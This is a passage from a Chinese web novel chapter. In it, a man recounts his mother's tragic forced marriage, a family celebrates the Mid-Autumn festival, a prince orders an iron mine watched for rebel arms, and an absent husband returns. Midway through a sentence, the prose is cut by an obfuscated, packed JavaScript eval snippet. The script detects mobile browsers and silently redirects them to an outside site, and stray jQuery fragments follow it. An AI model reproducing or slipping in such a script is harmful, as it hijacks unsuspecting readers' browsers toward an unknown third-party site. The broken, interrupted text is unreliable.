男人静默了片刻,目光投向远处层叠的山峦。
开口,声音平稳,却透着一丝难以化开的沉郁:
“家母与家父本是青梅竹马,自幼相识,情意甚笃。家父曾许诺,将来必定明媒正娶,迎她过门。”他语气微顿,似有涩意,“可后来,为了兼并庞大家业,稳固地位,他先娶了另一家的女儿为正室。”
“母亲得知后心灰意冷,决意与他断绝往来,另觅归处。”他话语渐沉,“可待到家父彻底掌权,无人再能制约他时,他却……强娶了母亲入门。”
云凝听得屏息,心中微震。
却听“萧季”继续道,声音中更添了几分冷意:“家中,我排行第三,上面有一位长兄,下面尚有一妹一弟。其实,我本该还有一位一母同胞的二哥。但他刚出世不久,便因当时主持中馈的正室夫人容不下,暗中使了手段,早早夭折了。”
“母亲连番遭受打击,自此与父亲彻底离心,怨恨了许多年。她后来心灰意冷,决意离开那个家,”说到这里,他顿了顿,话语微涩,“却偏偏在那时发现有了我。因着孕期反应剧烈,踪迹败露,最终……未能走成。”
“她大约,也因此迁怒于我。”
云凝听得怔住,心中涌起一阵唏嘘。
这……便是豪门大族的深宅景象么?
她从未想过,“萧季”看似平静的表面下,藏着这般过往。
迟疑片刻,她又追问道:“那……那位害了你二哥的正室夫人……难道你父亲就任由她如此?未曾有过追究?”
男人唇角牵起一丝淡漠的弧度:“那时,她母家势大,与家父生意上千丝万缕,牵一发而动全身,并非轻易能动。何况……”他顿了顿,“后来她在生产四妹时遭遇不测,过世了。旧事,便也只能不了了之。”
云凝一时无言,只觉得心头沉甸甸的。
那般显赫的家世,内里却藏着如此冰冷的算计与无奈。
“萧季”收回远眺的目光,看向她,神情已恢复一贯的平静,仿佛刚才所言不过是他人故事:“都是些陈年旧事了。如今家道中落,人亦离散,再提也无益。”
“……也是。”云凝颔首。
毕竟如今“萧季”也算家破人亡了,她不好再多问。
……
上完香回到村里,云凝片刻未歇,便着手为即将到来的中秋节忙碌采办。
中秋节寓意月圆人团圆,是广阳郡百姓一年之中最重要的节日之一。
集市上人来人往,弥漫着浓浓的节庆气息。
云凝仔细挑选了一些做月饼的木模和清甜的桂花蜜,买下后,极其自然地统统塞进“萧季”手中。
“萧季”并未多言,只默默跟在她身后,她递来什么,他便一一接过。
祝今宵则早就欢快地扎进了零食摊子,围着各色瓜果糕饼打转,叽叽喳喳地商量该买哪些零嘴才好。
几人提着大包小包才刚回到院中,还未等放下东西喘口气,却见祝祈愿失魂落魄地从门外走进来。
她手中紧紧攥着一封信,眼眶微微泛红,俨然是刚哭过的模样。
“大姐,怎么了?”云凝见状,放下手中的东西迎上前。
祝祈愿抬起头,努力想挤出一个笑容,却显得格外勉强:“是一横托人捎来的信……他说,矿上今年活计太紧,中秋……怕是又回不来了。”
许一横便是祝祈愿的夫君,云凝的姐夫。
这已不是他第一次因矿场繁忙而缺席团圆佳节。原本说好中秋定能归来,可如今……
云凝抿唇望着神情低落的大姐,心下黯然。
大姐与姐夫,似乎已有大半年未曾相见了……
“矿上的活儿,一向都如此繁忙么?”
一直静立一旁的“萧季”忽然开口问道。
祝祈愿用袖角拭了拭眼角,摇头道:“以往并不这样。也就是从今年开春起,不知怎的,活计一下子多了起来,一横他们便常常数月不得休息,更别说回家了。”
“这样。”他没再追问,只默然垂眸,似在思忖什么。
祝祈愿见气氛有些低沉,连忙强打起精神,从怀里掏出一个小布包,道:“瞧我,光顾着自己难受了。一横虽回不来,却捎了些银钱回来,嘱咐我给你们多置办些吃的玩的,好好过个节……”
……
中秋这日,天朗气清,金桂浮香。
祝祈愿一早便笑着将备好的节礼一一送出。
给云凝的是支錾着缠枝纹的银簪,簪头还雕着朵小巧的桂花,精致得很;
给祝今宵买的是一双结实耐穿的鹿皮短靴,靴口还缀着精致的铜扣;
就连“萧季”也得了一项玄色锦纹瓜皮帽,用料讲究,做工精细。
但今日最开心的还是祝今宵。
不仅因收到了新鞋,更因许久未见的“袭大侠”突然登门,还赠了他一柄锻造精良的短匕。
匕身修长,鞘上刻着简洁的松纹,刃口在秋阳下流转着一泓冷光。
少年见了,眼睛倏地一亮,小心翼翼地用指尖抚过冰凉的鞘身,感受着其上流畅的云纹凹凸,又轻轻抽出半截刀刃,对着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232696|181520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋阳眯眼看那凛冽的寒光,喜爱之情溢于言表。
反复摩挲了好一会儿,他忽然想起什么,猛地抬头,一把拽住袭桓的衣袖,连声央求:“袭大侠!好师父!既送了这般好兵器,便再教我两招新的吧!就两招!我定用心学!”
不等袭桓回应,他已急不可待地向后跃开两步,拉开架势:“您先前教我的,我已都会了!”
说罢,他便将袭桓此前所授的几式基础招式一板一眼地演练开来。
步法转换间虽仍显青涩,但架势、节奏竟已颇有模样,看得出是下过苦功的。
袭桓拗不过他,于是便又教了他两式,教完后吩咐少年在前院好好练,他这才能得空遛到后院见苏玹。
后院中,苏玹正立于桂树下,斑驳的树影落在他玄色的衣袍上。
袭桓近前一步,低声禀道:“殿下,今晨巡按御史已抵广阳郡,下榻城东驿馆。依行程,两日后将正式巡察郡府。”
苏玹闻言未动,只眼睫微垂,思忖片刻后道:“既如此,在他赴郡府之前,你设法安排,我先与他见上一面。”
“是。”袭桓肃容应下。
“还有,”苏玹眸光微沉,“广阳郡铁矿场,近日再多调派些人手,盯紧一些,任何出入车马、人员往来,皆需详查记录,不得有误。”
广阳郡与后燕逆党勾结,暗中筹措谋反,得了一批来路不明的兵器。
铸造兵器需大量生铁,广阳郡这几座铁矿场隶属燕王麾下产业,嫌疑最重。
只是,他们虽在矿场早已安插眼线,暗中调查数月,却一直未发现异动。
“属下遵命。”袭桓神色一凛
恰在此时,前院传来云凝清亮悦耳的唤声:“开饭啦——都快来!”
二人对视一眼,暂敛神色,一同朝前院走去。
前院,云凝正利落地摆放碗筷,见众人过来,催促道:“快入座,吃饭都不积极,莫不是脑瓜坏了?还有!今宵,别练了,赶紧洗手吃饭!”
她一边布菜,一边介绍,“今日有桂花酿圆子、栗子焖鸡,刚蒸好的湖蟹,还有葱油鲈鱼!”
祝今宵一听,都是他爱吃的,立刻收了招式,眼睛发亮地凑到桌边。
众人笑语晏晏围坐方桌,刚执起竹箸,院门外却忽然传来一阵急促的叩门声。
“我去开!”祝今宵一跃而起,小跑着拉开院门。
木门“吱呀”一声打开,门外站着个风尘仆仆的汉子。
不是别人,正是本该在矿上忙碌、此前传信断言难以归家的人,许一横。